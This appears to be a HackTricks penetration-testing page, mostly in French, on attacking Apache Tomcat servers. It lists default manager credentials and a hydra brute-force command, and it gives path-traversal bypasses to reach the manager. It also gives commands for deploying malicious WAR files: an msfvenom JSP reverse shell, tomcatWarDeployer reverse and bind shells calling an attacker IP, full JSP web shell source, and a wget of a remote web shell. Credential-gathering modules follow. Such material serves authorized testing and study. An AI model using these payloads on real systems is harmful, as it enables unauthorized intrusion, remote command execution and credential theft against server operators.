.. | ||
basic-tomcat-info.md | ||
README.md |
Tomcat
{% hint style="success" %}
Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Support HackTricks
- Check the plans d'abonnement!
- Rejoignez le 💬 groupe Discord ou le groupe telegram ou suivez-nous sur Twitter 🐦 @hacktricks_live.
- Partagez des astuces de hacking en soumettant des PRs aux HackTricks et HackTricks Cloud dépôts github.
Discovery
- Il fonctionne généralement sur le port 8080
- Erreur courante de Tomcat :
Enumeration
Identification de la version
Pour trouver la version d'Apache Tomcat, une simple commande peut être exécutée :
curl -s http://tomcat-site.local:8080/docs/ | grep Tomcat
Cela recherchera le terme "Tomcat" dans la page d'index de la documentation, révélant la version dans la balise titre de la réponse HTML.
Emplacement des fichiers du gestionnaire
Identifier les emplacements exacts des répertoires /manager
et /host-manager
est crucial car leurs noms peuvent être modifiés. Une recherche par force brute est recommandée pour localiser ces pages.
Énumération des noms d'utilisateur
Pour les versions de Tomcat antérieures à 6, il est possible d'énumérer les noms d'utilisateur via :
msf> use auxiliary/scanner/http/tomcat_enum
Identifiants par défaut
Le répertoire /manager/html
est particulièrement sensible car il permet le téléchargement et le déploiement de fichiers WAR, ce qui peut entraîner une exécution de code. Ce répertoire est protégé par une authentification HTTP de base, les identifiants courants étant :
- admin:admin
- tomcat:tomcat
- admin:
- admin:s3cr3t
- tomcat:s3cr3t
- admin:tomcat
Ces identifiants peuvent être testés en utilisant :
msf> use auxiliary/scanner/http/tomcat_mgr_login
Un autre répertoire notable est /manager/status
, qui affiche la version de Tomcat et du système d'exploitation, aidant à l'identification des vulnérabilités.
Attaque par Force Brute
Pour tenter une attaque par force brute sur le répertoire manager, on peut utiliser :
hydra -L users.txt -P /usr/share/seclists/Passwords/darkweb2017-top1000.txt -f 10.10.10.64 http-get /manager/html
Along with setting various parameters in Metasploit to target a specific host.
Common Vulnerabilities
Password Backtrace Disclosure
Accéder à /auth.jsp
peut révéler le mot de passe dans une trace de retour dans des circonstances favorables.
Double URL Encoding
La vulnérabilité CVE-2007-1860 dans mod_jk
permet le double encodage d'URL pour le contournement de chemin, permettant un accès non autorisé à l'interface de gestion via une URL spécialement conçue.
Pour accéder à l'interface de gestion de Tomcat, allez à : pathTomcat/%252E%252E/manager/html
/examples
Les versions d'Apache Tomcat 4.x à 7.x incluent des scripts d'exemple qui sont susceptibles de divulgation d'informations et d'attaques de script intersite (XSS). Ces scripts, listés de manière exhaustive, doivent être vérifiés pour un accès non autorisé et une exploitation potentielle. Trouvez plus d'infos ici
- /examples/jsp/num/numguess.jsp
- /examples/jsp/dates/date.jsp
- /examples/jsp/snp/snoop.jsp
- /examples/jsp/error/error.html
- /examples/jsp/sessions/carts.html
- /examples/jsp/checkbox/check.html
- /examples/jsp/colors/colors.html
- /examples/jsp/cal/login.html
- /examples/jsp/include/include.jsp
- /examples/jsp/forward/forward.jsp
- /examples/jsp/plugin/plugin.jsp
- /examples/jsp/jsptoserv/jsptoservlet.jsp
- /examples/jsp/simpletag/foo.jsp
- /examples/jsp/mail/sendmail.jsp
- /examples/servlet/HelloWorldExample
- /examples/servlet/RequestInfoExample
- /examples/servlet/RequestHeaderExample
- /examples/servlet/RequestParamExample
- /examples/servlet/CookieExample
- /examples/servlet/JndiServlet
- /examples/servlet/SessionExample
- /tomcat-docs/appdev/sample/web/hello.jsp
Path Traversal Exploit
Dans certaines configurations vulnérables de Tomcat, vous pouvez accéder à des répertoires protégés dans Tomcat en utilisant le chemin : /..;/
Ainsi, par exemple, vous pourriez être en mesure d'accéder à la page de gestion de Tomcat en accédant à : www.vulnerable.com/lalala/..;/manager/html
Une autre façon de contourner les chemins protégés en utilisant cette astuce est d'accéder à http://www.vulnerable.com/;param=value/manager/html
RCE
Enfin, si vous avez accès au Gestionnaire d'Applications Web Tomcat, vous pouvez télécharger et déployer un fichier .war (exécuter du code).
Limitations
Vous ne pourrez déployer un WAR que si vous avez suffisamment de privilèges (rôles : admin, manager et manager-script). Ces détails peuvent être trouvés dans tomcat-users.xml, généralement défini dans /usr/share/tomcat9/etc/tomcat-users.xml
(cela varie selon les versions) (voir la section POST).
# tomcat6-admin (debian) or tomcat6-admin-webapps (rhel) has to be installed
# deploy under "path" context path
curl --upload-file monshell.war -u 'tomcat:password' "http://localhost:8080/manager/text/deploy?path=/monshell"
# undeploy
curl "http://tomcat:Password@localhost:8080/manager/text/undeploy?path=/monshell"
Metasploit
use exploit/multi/http/tomcat_mgr_upload
msf exploit(multi/http/tomcat_mgr_upload) > set rhost <IP>
msf exploit(multi/http/tomcat_mgr_upload) > set rport <port>
msf exploit(multi/http/tomcat_mgr_upload) > set httpusername <username>
msf exploit(multi/http/tomcat_mgr_upload) > set httppassword <password>
msf exploit(multi/http/tomcat_mgr_upload) > exploit
MSFVenom Reverse Shell
- Créez le war à déployer :
msfvenom -p java/jsp_shell_reverse_tcp LHOST=<LHOST_IP> LPORT=<LHOST_IP> -f war -o revshell.war
- Téléchargez le fichier
revshell.war
et accédez-y (/revshell/
):
Shell bind et reverse avec tomcatWarDeployer.py
Dans certains scénarios, cela ne fonctionne pas (par exemple, les anciennes versions de sun)
Télécharger
git clone https://github.com/mgeeky/tomcatWarDeployer.git
Shell inversée
./tomcatWarDeployer.py -U <username> -P <password> -H <ATTACKER_IP> -p <ATTACKER_PORT> <VICTIM_IP>:<VICTIM_PORT>/manager/html/
Shell de liaison
./tomcatWarDeployer.py -U <username> -P <password> -p <bind_port> <victim_IP>:<victim_PORT>/manager/html/
Utilisation de Culsterd
clusterd.py -i 192.168.1.105 -a tomcat -v 5.5 --gen-payload 192.168.1.6:4444 --deploy shell.war --invoke --rand-payload -o windows
Méthode manuelle - Web shell
Créez index.jsp avec ce contenu:
<FORM METHOD=GET ACTION='index.jsp'>
<INPUT name='cmd' type=text>
<INPUT type=submit value='Run'>
</FORM>
<%@ page import="java.io.*" %>
<%
String cmd = request.getParameter("cmd");
String output = "";
if(cmd != null) {
String s = null;
try {
Process p = Runtime.getRuntime().exec(cmd,null,null);
BufferedReader sI = new BufferedReader(new
InputStreamReader(p.getInputStream()));
while((s = sI.readLine()) != null) { output += s+"</br>"; }
} catch(IOException e) { e.printStackTrace(); }
}
%>
<pre><%=output %></pre>
mkdir webshell
cp index.jsp webshell
cd webshell
jar -cvf ../webshell.war *
webshell.war is created
# Upload it
Vous pouvez également installer cela (permet l'upload, le download et l'exécution de commandes) : http://vonloesch.de/filebrowser.html
Méthode Manuelle 2
Obtenez un shell web JSP tel que celui-ci et créez un fichier WAR :
wget https://raw.githubusercontent.com/tennc/webshell/master/fuzzdb-webshell/jsp/cmd.jsp
zip -r backup.war cmd.jsp
# When this file is uploaded to the manager GUI, the /backup application will be added to the table.
# Go to: http://tomcat-site.local:8180/backup/cmd.jsp
POST
Le nom du fichier d'identifiants Tomcat est tomcat-users.xml
find / -name tomcat-users.xml 2>/dev/null
Autres moyens de collecter les identifiants Tomcat :
msf> use post/multi/gather/tomcat_gather
msf> use post/windows/gather/enum_tomcat
Autres outils de scan tomcat
Références
- https://github.com/simran-sankhala/Pentest-Tomcat
- https://hackertarget.com/sample/nexpose-metasploitable-test.pdf
{% hint style="success" %}
Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE)
Soutenir HackTricks
- Consultez les plans d'abonnement !
- Rejoignez le 💬 groupe Discord ou le groupe telegram ou suivez nous sur Twitter 🐦 @hacktricks_live.
- Partagez des astuces de hacking en soumettant des PRs aux HackTricks et HackTricks Cloud dépôts github.